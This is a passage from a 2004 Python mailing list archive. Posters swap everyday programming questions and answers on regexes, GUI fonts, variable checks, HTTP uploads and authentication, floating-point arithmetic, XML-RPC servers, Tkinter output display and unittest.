<cipmad$upd$1@sea.gmane.org> Message-ID: <4a0cafe20409211148eab25c8@mail.gmail.com> Well, this is what I came up with. regFindEmails = re.compile( r''' [^\w\.\-](?![\.\-\_]) # match all except alnum.- not followed by .-_ ( # start capture [\w\.\-]{3,64} # match alnum.-_ 3-64 times (?<![\.\-\_])@(?![\.\-\_]) # match @ not preceded or followed by .-_ [\w\.\-]{3,255} # match alnum.-_ 3-255 times (?<!\.)\. # match . not preceded by a . [a-z]{2,3} # match alpha 2-3 times for .tld ) # end capture ''' , re.I | re.X) This works all except for matching the domain 3-255 times, this will match @(.*).tld where the .* is 3-255 in length. It will be a rare case where a domain name name will be more than 255 due to a prefixed host name or an extra .tld s.a. .com.au. I tried doing nested list ranges [[]] but it didn't work, so this will have to do for now I suppose. -Josh From googlemike at hotpop.com Wed Sep 1 21:31:17 2004 From: googlemike at hotpop.com (Google Mike) Date: 1 Sep 2004 18:31:17 -0700 Subject: HOWTO: Set Main Application Font in PyGTK Message-ID: <25d8d6a8.0409011731.2078f58b@posting.google.com> This was a tough one (at least for me), and wasn't exactly what I wanted when I was working on just setting on item's font, but shows how you can change the font for an entire PyGTK application. I stumbled on to it by accident. Once you have your widget as, say, variable 'w', do this: w.get_settings().set_string_property('gtk-font-name', 'sans normal 9',''); # some other font choices are: # courier bold 10 # serif oblique 12 # you get the idea? ...I know, I know, it doesn't make sense to me either, but once you attempt this on any widget in your project, the whole project changes its fonts. At least it does with my project. Note I did my project in Glade as one big Glade XML file, then loaded it in with PyGTK. I have RH9 Linux and I'm using the defaults with that, which I think is PyGTK2, Python 2.2, and Glade 2. Anyway, I hope this helps you. Now if anyone knows how to change the font and size on a single radio button in PyGTK, I welcome the suggestion. I don't think it can be done. From w.hol at auckland.ac.nz Wed Sep 22 22:18:25 2004 From: w.hol at auckland.ac.nz (WenChen) Date: 23 Sep 2004 14:18:25 +1200 Subject: An attempt to use a python-based mini declarative language for formdefinition In-Reply-To: <0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net> References: <mailman.3731.1095874585.5135.python-list@python.org> <RKadnchjSclpIszcRVn-tw@comcast.com> <mailman.3745.1095883311.5135.python-list@python.org> <0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net> Message-ID: <1095905905.19325.143.camel@www> Hi I have done scripts to generate web form and the rest xml, content template at once here is the url http://newped.auckland.ac.nz/python/idevice_template Currently, the save function only generate files in a template directory That editor's goal is to allow none techie people to generate their instructional devices( form ) on their own will and can be plugged into eXe for use without further coding needs. Don't know is this somewhat similar to what you want the code itself is nothing special, it uses javascript dom and python text processing. ************************************************************************** Later, we will put a help box & extra info ( for advanced user to put style, tags info) for a field, This is a tool we will use in an opensource project https://eduforge.org/projects/exe/ still at pre-planning stage, but there is a proof-of-concept to play around -- see the idevices list, those can be generated by the idevice editor http://newped.auckland.ac.nz/python/eXe/start.pyg ************************************************************************** > >>There should be some way to pass the "location". If you solve this, > >>you got your answer (of course, passing the "location" is not trivial, > >> that's why every GUI toolkit has it own approach). > > > > > > That's *exaclty* the root of my problems. I don't want to specify > > positioning; I only want to use *relative positioning* for everything, > > working as automatically as possible. Will it work for all situations? > > I'm not sure. But I think it's worth investigating. > > > > What I intend to do is to borrow some of the layout techniques defined > > by CSS+DHTML. It is *much* more complex that this, but it basically > > works by formatting "block level" and "inline elements" elements > > relatively to each other. You can give hints as to the relative > > positioning -- absolute, relative, floating to the left, floating to > > the right, and stuff like that. The layout engine positions everything > > according to the constraints. If the engine doesn't support advanced > > layout, it simply falls back to a simple sequence of entries according > > to the original text flow. > > > > There are two reasons behnd my choice: > > > > -- there is a lot of knowledge today about how to make good interfaces > > using CSS. It's faster to develop and is more flexible regarding > > different engines and platforms than to rely on absolute positioning > > (as conventional GUI builders do) > > > > -- it makes *much* easier to use the same form definition on native > > GUIs and web-based ones. My goal is to be able to build a wxPython > > dialog or a web form from the same description. > > > > That's why I can't give positioning hints, at least for now. But I > > could include relative ordering information; for example, an arbitrary > > tag number. But doing this I would defeat my objective of clarity of > > design. > > > From stevena at neosynapse.net Wed Sep 29 21:28:02 2004 From: stevena at neosynapse.net (Steven Arnold) Date: Wed, 29 Sep 2004 21:28:02 -0400 Subject: constructing binary \n Message-ID: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net> Is there a more elegant way to construct \[a-z] in a string than something like: s = '\\n' result = eval( "'%s'" ) % s Another ugly method would be to build a dict with all the different special letters I want as keys, and their corresponding values as values. Or I could have a huge if/elif structure. I can't make ord work, because while ord( '\n' ) gives me a reasonable integer that I can interpolate with %c, I don't have '\n', I have '\\n'. Is there a simple, graceful way to do this sort of translation? steve From ian at cottee.org Mon Sep 27 20:16:21 2004 From: ian at cottee.org (Ian J Cottee) Date: Tue, 28 Sep 2004 09:16:21 +0900 Subject: python ides In-Reply-To: <mailman.3639.1095771048.5135.python-list@python.org> References: <mailman.3639.1095771048.5135.python-list@python.org> Message-ID: <4158AD55.7070606@cottee.org> kevin wrote: > I think emacs-vim users will change their mind after trying it ;), well the > problem is that it is a bit expensive =( , at least the personal edition is > accesible , toughs? Well this emacs user spent some time trying it (testing the version 2 beta). It is nice but it's no emacs unfortunately. Ian From exarkun at divmod.com Fri Sep 3 09:28:20 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 09:28:20 -0400 Subject: Test the existence of a variable? In-Reply-To: <41384A58.8040405@chamonix.reportlab.co.uk> References: <ch9hhf$4re$1@s5.feed.news.oleane.net> <41384A58.8040405@chamonix.reportlab.co.uk> Message-ID: <41387174.3060305@divmod.com> Robin Becker wrote: > Thierry S. wrote: > >> Hello. >> >> I would to test the existence of a variable before to use it (like >> isset($myVar) in PHP). >> I try using "if myVar: ", but there is the error meesage (naturally): >> "NameError: name 'myVar' is not defined" >> >> Please, could you tell me what for function exist to test the variable >> with >> Python? >> >> Regards, > > if globals().has_key('myVar'): > .... > >>> def f(x): ... if globals().has_key('x'): ... print 'x is', x ... else: ... print 'x is not defined' ... >>> f(10) x is not defined Before anyone points out locals(), I know all about it. Testing for the existence of a variable is something to avoid doing. Variables should be bound unconditionally. There is always a sentinel value that can be used as a place-holder. Instead of: # ... if not isset('x'): # initialize x # use x use: x = None # ... if x is None: # initialize x # use x If None is a valid value for x to take on, pick another sentinel. Even better is to pick a legitimate and useful value and just write the whole thing as: x = default # use x Often this is not possible... but often it is. If it is really necessary to check for the existence of a variable by name, for example if the variable name taken from user input, then you may actually wish to use a dict, instead of variables in your local scope: d = {} # Get user input, store it in x if x not in d: d[x] = initialize() # use d[x] Jp Jp From newminds_eu at hotmail.com Tue Sep 28 09:42:03 2004 From: newminds_eu at hotmail.com (Empresa NewMinds) Date: Tue, 28 Sep 2004 13:42:03 -0000 Subject: Quiero empezar con python pero quisiera saber... Message-ID: <BAY10-DAV24p20N39x600000f25@hotmail.com> Hola Comunidad de python reciban de mi parte un Cordial saludo Soy programador durante mucho tiempo (de 3 a 4 a?os) he programado en Visual Basic hace como 2 a?os aprox. Empeze a programar bajo java. incluso realize una aplicacion dura para una entidad del gobierno en mi ciudad hace ya casi 1 a?o. pero despues de ver el bajo rendimiento de la interfaz grafica (Swing) opte por volver al visual basic 6.0 (ya que la mayoria de los clientes de mi ciudad manipula el/los S.O windows xx). Estoy de nuevo pensando volver a java despues de ver muchas inconsistencias con el Visual Basic ademas del pago de licencias (Q me tiene super transtornado). pero el unico inconveniente como les digo es la interfaz (Swing, Awt y la SWT de eclipse [q estoy viendo a ver si aprendo]) ya q el manejo de objetos y sobre el manejo de bases de datos me parece excelentes... Se de python aprox. el mismo que conozco a java pero nunca pense en aprenderlo... quisiera saber y espero una opinion objetiva si con python puedo encontrar la misma robutez la misma sencillez que tiene un lenguaje como por ejemplo java. si puedo encontrar la misma velocidad y rendimiento en cuanto interfaces como visual basic. quisiera saber como es el manejo de bases de datos facil??? python tiene algun programa que haga reportes como el JasperReport para java??? Algun dise?ador de interfaz???? Python usa punteros????? Disculpen tantas preguntas a la vez. la verdad es q soy autodidacta y me dedicaria a buscar cada uno de los topicos q les presento pero precisamente no tengo mucho tiempo para ello. ademas quisiera conocer la opinion de personas q ya tienen experiencia manipulando la herramienta. (Eso si desde una vision bastanta OBJETIVA). Atte: Julio Cesar Pimentel J . . . Pd: todas mis preguntas estan orientadas para la realizacion de aplicaciones de escritorio. -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040928/15e3e4ab/attachment.html> From peter at engcorp.com Tue Sep 14 18:16:59 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 18:16:59 -0400 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: <mailman.3331.1095196635.5135.python-list@python.org> References: <mailman.3327.1095192228.5135.python-list@python.org> <ci7kou$eqj$00$1@news.t-online.com> <qOGdnf9RP5WexdrcRVn-oA@powergate.ca> <mailman.3331.1095196635.5135.python-list@python.org> Message-ID: <q-KdnbQfKohB8NrcRVn-ug@powergate.ca> Carlos Ribeiro wrote: > On Tue, 14 Sep 2004 16:43:46 -0400, Peter Hansen <peter at engcorp.com> wrote: >> >>> os.path.abspath('c://somepath') >>'c:\\somepath' > > Strange. I've tried it here with different results. > > ActivePython 2.3.2 Build 232 (ActiveState Corp.) based on > Python 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit (Intel)] on win32 > >>>>import os.path >>>>os.path.abspath('c://work') > > 'c:\\\\work' > > Of course, I'm not using the same build as you. Either there was some > bugfix inbetween 2.3.2 and 2.3.4, or the underlying libraries used by > ActivePython and standard Python differ in this regard (not highly > probable, anyway). I'm not sure. Do you have pywin32 (win32all) installed? Try this one instead: win32api.GetFullPathName('c://work') This does the same as abspath does above, on mine. I ask because of stuff in ntpath.py which appears to be calling the equivalent of that instead of the normpath(join(getcwd(), path)) approach that the docs note is equivalent... -the-blind-leading-the-blind-ly y'rs, Peter From jeff at ccvcorp.com Wed Sep 1 14:59:42 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 01 Sep 2004 11:59:42 -0700 Subject: multipart/form-data in an HTTP client In-Reply-To: <cpa4qmi9h3i.fsf@cabernet.nelson.monkey.org> References: <cpa4qmi9h3i.fsf@cabernet.nelson.monkey.org> Message-ID: <10jc6ua32ccht5e@corp.supernews.com> Nelson Minar wrote: >I'm writing some code to upload photos to Flickr. The Photo Upload API >requires documents be POSTed via a multipart/form-data request. I was >surprised to learn that Python 2.3's HTTP clients don't support this >form of POSTs. There is support in cgi.py, for servers. > >There are some implementations of multipart/form-data on ASPN: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 >urllib2_file seems to meet my needs, but I'm not wild about how it's >implemented. Is there some other recommended way to do >multipart/form-data uploads with HTTP in Python? > > I've been using something closely modelled on that Cookbook recipe, without any real problems. (I've updated it to use HTTP[S]Connection() and return the response object, and in my case I'm connecting to an HTTPS server, but these are trivial modifications.) I, too, was surprised that the existing Python libraries don't directly support multipart/form-data already, and I hope that this gets added in soon. Jeff Shannon Technician/Programmer Credit International From gh at ghaering.de Fri Sep 17 09:49:33 2004 From: gh at ghaering.de (gh at ghaering.de) Date: Fri, 17 Sep 2004 15:49:33 +0200 Subject: How to detect open windows applications In-Reply-To: <82d4be71.0409170537.7f4468c1@posting.google.com> References: <82d4be71.0409160655.234749ab@posting.google.com> <cicqq6$kra$1@news-reader4.wanadoo.fr> <82d4be71.0409170537.7f4468c1@posting.google.com> Message-ID: <20040917134933.GA16035@mylene.ghaering.de> On Fri, Sep 17, 2004 at 06:37:02AM -0700, Roy wrote: > That sounds like a good way... > How do I get a list of the process? That's possible with the win32 extensions. For a quick hack I often prefer to interface command-line utilities like the pulist.exe and kill.exe from the M$ Resource Kit. -- Gerhard From zanesdad at bellsouth.net Tue Sep 28 14:37:38 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Tue, 28 Sep 2004 14:37:38 -0400 Subject: SimpleXMLRPCServer In-Reply-To: <16729.44169.386322.909178@montanaro.dyndns.org> References: <Ek%5d.3512$MD5.341163@news20.bellglobal.com> <mNqdnZDKF9l9CMXcRVn-jw@giganews.com> <4158A28B.3050501@bellsouth.net> <16729.44169.386322.909178@montanaro.dyndns.org> Message-ID: <4159AF72.4090908@bellsouth.net> Skip Montanaro wrote: > Jeremy> ... the out-of-the-box SimpleXMLRPCServer will only handle one > Jeremy> request at a time... It does not spawn a thread per request. > >Nor should it. Enabling threading in an application should be an active >step taken by the programmer, not a passive step taken as a side effect of >using a particular class that doesn't mention threading. The simplest part >of making a server threaded is mixing in SocketServer.ThreadingMixin. Far >more work needs to be done to make it robust. > >Now, should the SimpleXMLRPCServer module provide a threaded version? >Perhaps. The default should be non-threaded however. > >Skip > > I don't disagree at all. The example that I got from somewhere that I still use as my base template to create a threaded XMLRPCServer is all of 6 lines of code. It's trivial. And that could probably be trimmed down a bit. Jeremy From mariube+netnews+ at ifi.uio.no Thu Sep 9 16:18:37 2004 From: mariube+netnews+ at ifi.uio.no (Marius Bernklev) Date: Thu, 09 Sep 2004 22:18:37 +0200 Subject: Is there no switch function in Python References: <CR20d.46131$Vf.2380522@news000.worldonline.dk> Message-ID: <3cfisannqle.fsf@nemi.ping.uio.no> "Rudi Hansen" <rsh_remove_this_ at pobox.dk> writes: > I would like to be able to do > > switch(var) > case 1 : > print "var = 1" > case 2: > print "var = 2" > > But it seems that i have to do. > > if(var=1) > print "var =1" > elseif(var=2) > print "var=2" > > Is ther no easier way?? one way is using dicts: swoosh = {1: "var = 1", 2: "var = 2"} print swoosh[var] -- Marius Bernklev From grante at visi.com Thu Sep 9 17:54:59 2004 From: grante at visi.com (Grant Edwards) Date: 09 Sep 2004 21:54:59 GMT Subject: my own type in C, sequence protocol References: <chq9eg$c2i$1@schleim.qwe.de> <donn-D30720.12484009092004@gnus01.u.washington.edu> <chqdvo$cgp$1@schleim.qwe.de> Message-ID: <4140d133$0$8079$a1866201@newsreader.visi.com> On 2004-09-09, Torsten Mohr <tmohr at s.netic.de> wrote: > thanks for that explanation. From the error messages i got i > already thought of something like this. But still i'm > confused, what is the advantage to implement the sequence > protocol for my type then? > > The type that i implemented is a "CAN message", don't know if > this means something to you, it is a communication message > with 0 to 8 bytes content. To access this content i thought > there would be an advantage in implementing the sequence > protocol. What is the advantage then? Good question. [I just use lists of integers for my CAN messages.] If you want to iterate over your object, you probably want to support the sequence protocol. -- Grant Edwards grante Yow! Is this where people at are HOT and NICE and they visi.com give you TOAST for FREE?? From gherron at islandtraining.com Sat Sep 18 13:20:12 2004 From: gherron at islandtraining.com (Gary Herron) Date: Sat, 18 Sep 2004 10:20:12 -0700 Subject: Math errors in python In-Reply-To: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> Message-ID: <200409181020.12445.gherron@islandtraining.com> On Saturday 18 September 2004 09:50 am, Radioactive Man wrote: > In python 2.3 (IDLE 1.0.3) running under windows 95, I get the > following types of errors whenever I do simple arithmetic: > > 1st example: > >>> 12.10 + 8.30 > > 20.399999999999999 It's not a bug, it's a feature of binary arithmetic on ALL coumputers in ALL languages. (But perhaps Python is the first time it has not been hidden from you.) See the Python FAQ entry 1.4.2: http://www.python.org/doc/faq/general.html#why-are-floating-point-calculations-so-inaccurate Gary Herron From mwh at python.net Thu Sep 2 09:24:40 2004 From: mwh at python.net (Michael Hudson) Date: Thu, 2 Sep 2004 13:24:40 GMT Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> Message-ID: <m3isawg5wo.fsf@pc150.maths.bris.ac.uk> Maurice LING <mauriceling at acm.org> writes: > Hi, > > I remembered reading a MSc thesis about compiling Perl to Java > bytecodes (as in java class files). At least, it seems that someone > had compiled scheme to java class files quite successfully. I'm > wondering if something of such had been attempted in python, as in > compiling X language into .pyc. Not to my knowledge. It wouldn't be very interesting: the Python bytecode is pretty Python specific. > I do not understand the schematics of .pyc files but I assume that > they are the so called python bytecode files. > > Or is there any documentation or books that is the python equivalent > of "Programming for the Java Virtual Machine" by Joshua Engel? Nope. As others point out, the details tend to change each (major) version of Python. The documentation for the standard library module 'dis' might help. You could also look at the 'bytecodehacks' package (google, and make sure you get the CVS version). Cheers, mwh -- 39. Re graphics: A picture is worth 10K words - but only those to describe the picture. Hardly any sets of 10K words can be adequately described with pictures. -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html From steven.bethard at gmail.com Tue Sep 21 17:11:30 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 21:11:30 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <A128D751272CD411BC9200508BC2194D053C79A1@escpl.tcp.com.ar> <mailman.3670.1095791749.5135.python-list@python.org> <5y04d.1704$g42.492@newsread3.news.pas.earthlink.net> Message-ID: <loom.20040921T230621-727@post.gmane.org> Andrew Dalke <adalke <at> mindspring.com> writes: > Get rid of __cmp__. Do you think sort should lose its cmp keyword argument too? Seems that might also address Carlos Ribeiro's 4-ways-to-customize-sort problem: Carlos Ribeiro wrote: > As of > today, there are 4 different ways to customize sorting behavior: > > 1) passing a comparison function to sort(); > 2) passing a key generation function to sort(); > 3) implementing __cmp__; > 4) implementing rich comparison methods. There are things you can do with the cmp keyword arugment that you can't do with the key keyword argument... Though I'm not sure how many of these things that you *can* do you actually *want* to do... Steve From carribeiro at gmail.com Mon Sep 13 09:24:11 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 10:24:11 -0300 Subject: read all available pages on a Website In-Reply-To: <ci2qnl$2jq$1@solaris.cc.vt.edu> References: <ci2qnl$2jq$1@solaris.cc.vt.edu> Message-ID: <864d370904091306247e4b0830@mail.gmail.com> Brad, Just to clarify something other posters have said. Automatic crawling of websites is not welcome primarily because of performance concerns. It also may be regarded by some webmasters a a kind of abuse, because the crawler is doing 'hits' and copying material for unknown reasons, but is not seeing any ad or generating revenue. Some sites even go to the extent of blocking access from your IP, or even for your entire IP range, when they detect this type of behavior. Because of this, there is a very simple procol involving a file called "robots.txt". Whenever your robot first enter into a site, it must check this file and follow the instructions there. It will tell you what you can do in that website. There are also other few catches that you need to be aware of. First, some sites don't have links pointing to all their pages, so it's never possible to be completely sure about having read *all* pages. Also, some sites have link embedded into scripts. It's not a recommended practice, but it's common at some sites, and it may cause you problems. And finally, there are situations where your robot may be stuck into an "infinite site"; that's because some sites generate pages dinamically, and your robot may end up fetching page after page and never get out of the site. So, if you want a generic solution to crawl any site you desire, you have to check out these issues. Best regards, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From peter at engcorp.com Wed Sep 29 06:53:29 2004 From: peter at engcorp.com (Peter L Hansen) Date: Wed, 29 Sep 2004 06:53:29 -0400 Subject: os.system vs. Py2Exe In-Reply-To: <81a41dd.0409282240.739cb257@posting.google.com> References: <81a41dd.0409280200.1a74edd1@posting.google.com> <Rd2dneVBGfQrXMTcRVn-jQ@powergate.ca> <81a41dd.0409282240.739cb257@posting.google.com> Message-ID: <4_CdnUGCt9u3CcfcRVn-pA@powergate.ca> Lad wrote: > Peter Hansen <peter at engcorp.com> wrote in message news:<Rd2dneVBGfQrXMTcRVn-jQ at powergate.ca>... > >>Lad wrote: >> >>>I used Py2exe to compile my script( I use XP). >>>The compiled script works OK on my XP where Python is installed. >>>But when I install the compiled exe to another computer, >> >>What operating system is the other computer running? > > The other Operating system( that does not work with os.system) is Windows 98 That's the source of your problem. Win98 doesn't work the way XP/NT does, and you *cannot* use os.system() in this way to get the expected behaviour. Find another approach... maybe read the registry entries for .TXT files and launch NotePad directly... -Peter From t_therkelsen at hotmail.com Sat Sep 4 12:17:02 2004 From: t_therkelsen at hotmail.com (Troels Therkelsen) Date: 04 Sep 2004 16:17:02 GMT Subject: Trouble accessing global vars References: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com> Message-ID: <slrncjjqjt.t6.t_therkelsen@abattoir.2-10.org> In article <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti at 4ax.com>, Fernando Rodr?guez wrote: > Hi, > > I haven't used Python in quite some time, and I'm bit puzzled by this: > > counter = 0 > > class Blah(object): > def run(self): > counter += 1 > > b = Blah() > b.run() > > Traceback (most recent call last): > File "<pyshell#53>", line 1, in -toplevel- > b.run() > File "<pyshell#51>", line 3, in run > counter += 1 > UnboundLocalError: local variable 'counter' referenced before assignment > > However, counter is not a local var, it's a global one. :-? Shouldn't this > work? If you want to modify a global variable from inside a function/method scope, you need explicitly tell Python that this is indeed your wish, by using the global keyword, like this: class Blah(object): def run(self): global counter counter += 1 Hope this helps, Troels Therkelsen From ivoras at __-geri.cc.fer.hr Wed Sep 8 11:32:07 2004 From: ivoras at __-geri.cc.fer.hr (Ivan Voras) Date: Wed, 08 Sep 2004 17:32:07 +0200 Subject: YOU ALL SUCK! In-Reply-To: <56cfb0e3.0409021745.712d2f6d@posting.google.com> References: <1bf5bcb9.15695836@aol.com> <Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu> <56cfb0e3.0409021745.712d2f6d@posting.google.com> Message-ID: <chn8ln$i4h$1@bagan.srce.hr> Porky Pig Jr wrote: > Christopher T King <squirrel at WPI.EDU> wrote in message news:<Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu>... > >>This is a common newbie trap. The reason is that default arguments are >>only evaluated once; any changes you make to the list will be reflected in >>the default argument. >> > > > Say Chris, are you trying to bit some 'random BS generator' with > another 'random Python answers' generator? Oooh! What a good idea :) It would be very interesting to see what could be done with a collection of various 'frequent anwers' on this list :) Judging from the content of the group in the past weeks, such engine would surely heavily debate about decorators :) From nobody at nowhere.com Mon Sep 20 11:06:12 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Mon, 20 Sep 2004 11:06:12 -0400 Subject: Inheritance question References: <eaB3d.12433$pA.483376@news20.bellglobal.com> <cimp7q$tlk$01$1@news.t-online.com> Message-ID: <mlC3d.12516$pA.507163@news20.bellglobal.com> Hello, Thanks to reply. My question has been answered but I'm now wondering if I do this the best way. In the real situation I'm implementing a protocol. "A" represent a command. Say "0144AYHR78" (encoded data) means "Add client Joe" and "0589UAWERT" means "Ship 3 compressors to Joe". What I want to do is to create a "A" instance which find the command type and parameters and "mutate" itself to the good command. All command parameters ("Joe" for the first one and "3,compressor,Joe" for the secondeone) are kept in a sigle list.So B1 and B2 would define the function "getClient()" and B2 would define "getQty()" and "getProduct()" and some other command-specific work. while True: encoded_data = readEncodedData() command = A(encoded_data) type_ = command .getType() # Define in "A" if type_ == A.ADD: # Do what I have to do with a "Add" command using the "command" instance (B1) elif type_ == A.SHIP: # Do what I have to do with a "Ship" command using the "command" instance (B2) ... Any suggestion to do this in a better way Yannick > You can do it, but it's certainly bad design because A has to know all its > subclasses. If you go with the above I recommend that you use some kind of > registry instead of hardcoding the subclasses in A.__new__(). > > Peter > From fuzzyman at gmail.com Thu Sep 2 07:40:23 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 2 Sep 2004 04:40:23 -0700 Subject: Compiling Extension Modules Under Windows References: <ch29dr$25h@odah37.prod.google.com> <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> <mailman.2755.1094103635.5135.python-list@python.org> Message-ID: <6f402501.0409020340.a307c3@posting.google.com> Andrew Durdin <adurdin at gmail.com> wrote in message news:<mailman.2755.1094103635.5135.python-list at python.org>... > On Wed, 1 Sep 2004 11:15:29 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > > mensanator at aol.com <mensanator at aol.com> wrote: > > ... > > > > I predict no need for tweaking. I'm not sure what the support for the > > MS SDK compiler is currently -- maybe somebody with more current Windows > > knowledge can chime in? It used to be that the free C compiler had no > > optimization, thus the resulting gmpy would be substantially slower, but > > I don't even know if that is still currently the case or not. > > No: "Microsoft C/C++ Optimizing Compiler and Linker. These are the > same compiler and linker that ship with Visual Studio .NET 2003 > Professional!" > > --from the (free-of-charge) Visual C++ Toolkit 2003 page at > http://msdn.microsoft.com/visualc/vctoolkit2003/ Can someone pelase clarify this for me. Will having this compiler allow python distutils to automagically compile extension modules without complaining it needs MSVC7 *and* without tweaking distutils.... ?? (some hope really !!) If not - what is the magic needed in distutils to make it use it ? Is the quality of machine code emitted by this compiler any 'better' than GCC - is this a matter of fact or opinion ? The difficulty of compiling extensions for windows is still a 'python wart'. If one goes through the various incantations necesary to use gcc under mingw then it 'just works' for python 2.3 but it's still tricky for the newbie to set up and I've heard rumblings that it might not be possible for 2.4 (which I'm sure is wrong but there we go). Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From adurdin at gmail.com Mon Sep 27 01:14:27 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Mon, 27 Sep 2004 15:14:27 +1000 Subject: Unary plus operator and __pos__ In-Reply-To: <864d37090409262150b72ef26@mail.gmail.com> References: <864d37090409262150b72ef26@mail.gmail.com> Message-ID: <59e9fd3a04092622144b9fad0b@mail.gmail.com> On Mon, 27 Sep 2004 01:50:43 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote: > > Now I'm curious about the operator itself. Why is the unary plus > operator associated with the __pos__ magic method? I' can't see a > relation here, and I could not find much info (although I haven't > really looked very hard :-) > > Anyone knows why is it so? Because the unary minus is "associated with" __neg__ (negative). I guess that __pos__ (positive) was introduced to be consistent. From eric_brunel at despammed.com Wed Sep 8 11:49:57 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Wed, 08 Sep 2004 17:49:57 +0200 Subject: TKinter + display of a shell command return References: <chn0pr$tr7$1@biggoron.nerim.net> Message-ID: <chn98b$9gr$1@news-reader1.wanadoo.fr> Yann.K wrote: > Hello. > > Using Tkinter, i would create a widget which display a shell command return. > This return is long, and i would display a real time display (like with the > tail -f commande on Linux) > > I think to use the text widget. > I have no problem to execute the command, but how to display, in a > *real-time* fashion the shell retrun? What is your problem here? Inserting at the end of the text and call the see method on the text widget to make sure the last line is displayed should be enough. An update_idletasks may also be needed to actually display something, but it depends on the architecture of your script, typically on whether you use threads or not. A basic script doing what you want is: --shell_output.py--------------------- import os from Tkinter import * root = Tk() t = Text(root) t.pack() def go(): p = os.popen("find . -name '*.py'", 'r') for l in p.xreadlines(): t.insert(END, '%s\n' % l.rstrip()) t.see(END) t.update_idletasks() Button(root, text='Go', command=go).pack() root.mainloop() -------------------------------------- HTH -- - Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From fuzzyman at gmail.com Wed Sep 22 10:56:29 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 22 Sep 2004 07:56:29 -0700 Subject: HTTP - basic authentication example. References: <6f402501.0409150737.1bfc6958@posting.google.com> <d52c72d2040915092132ce7c34@mail.gmail.com> <6f402501040916022738bd70b5@mail.gmail.com> <mailman.3402.1095338985.5135.python-list@python.org> <6f402501.0409170026.36f24761@posting.google.com> <87isabn06u.fsf@pobox.com> Message-ID: <6f402501.0409220656.3e592b6c@posting.google.com> jjl at pobox.com (John J. Lee) wrote in message news:<87isabn06u.fsf at pobox.com>... > fuzzyman at gmail.com (Michael Foord) writes: > > Jaime Wyant <programmer.py at gmail.com> wrote in message news:<mailman.3402.1095338985.5135.python-list at python.org>... > [...] > > have found it in your docs). This means I have a ClientCookie handler > > handling all my http requests.... I wonder if I can use an AuthHandler > > as well ? There will be situations where I am likely to want to add an > > Authroize header *and* handle cookies - ClientCookie manages all the > > cookies in a way that I couldn't do manually. > > Sure, cookielib.HTTPCookieProcessor (or > ClientCookie.HTTPCookieProcessor) should work fine with all other > urllib2 handlers. Cookies and Basic HTTP Authentication are quite > distinct and separate in their implementation at the HTTP level. > Really ? I can see situations where they both have to handle a request.... but then I guess all cookielib has to do is add the appropriate cookie header and then pass the request down the chain ? (all is not meant as a denigration - merely a description ;-) [snip..] > > [...] > > The example you gave works I think - HTTPBasicAuthHandler does have an > > add_password method, but not the find_user_password that the > > HTTPPasswordMgr has... so I can't easily check if it works properly. > > In the urllib2 docs it says that passing a password manager in is > > optional - but *nowhere* does it document that it has an add_password > > method. It may be deducable from the fact that passing in a password > > manager is optional - but surely explicit is better than implicit > > (especially where documentation is concerned). > [...] > > Tested doc patches posted to the Python sf.net patch tracker are > welcome :-) > Hmm... maybe. I only know what I've deduced and I'm not over confident that it's 100% cast iron right - I just think it's probably right. I'm quite happy to submit it - but if it's innacurate I don't do the python community or myself any favours......... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html > > John From tweedgeezer at hotmail.com Thu Sep 23 19:47:59 2004 From: tweedgeezer at hotmail.com (Jeremy Fincher) Date: 23 Sep 2004 16:47:59 -0700 Subject: unittest: new reporting category "skipped" References: <mailman.3772.1095935910.5135.python-list@python.org> <698f09f8.0409230740.18bc9185@posting.google.com> <mailman.3797.1095959172.5135.python-list@python.org> Message-ID: <698f09f8.0409231547.383ae902@posting.google.com> Remy Blank <remy.blank_asps at pobox.com> wrote in message news:<mailman.3797.1095959172.5135.python-list at python.org>... > Jeremy Fincher wrote: > > Even if it doesn't get accepted into Python proper, I'll take a copy > > and put it with my project -- I already provide my own unittest.py > > I was wondering, is it worth modifying unittest.py directly and > provide a patch, or should I just extend its functionality in a > separate file, and provide that one? I just modified it directly. What format the Python people prefer for their patches is their business :) > > that I hacked to show the total number of asserts (I was curious one > > day, and it's turned out to be a remarkably useful thing to have, > > since my tests-upon-tests can hide unreaonable numbers of assertions > > which otherwise would go unnoticed (except as a general slowness of > > the test suite). > > Interesting idea. What do you use the assertion count for? Supybot has tests for its 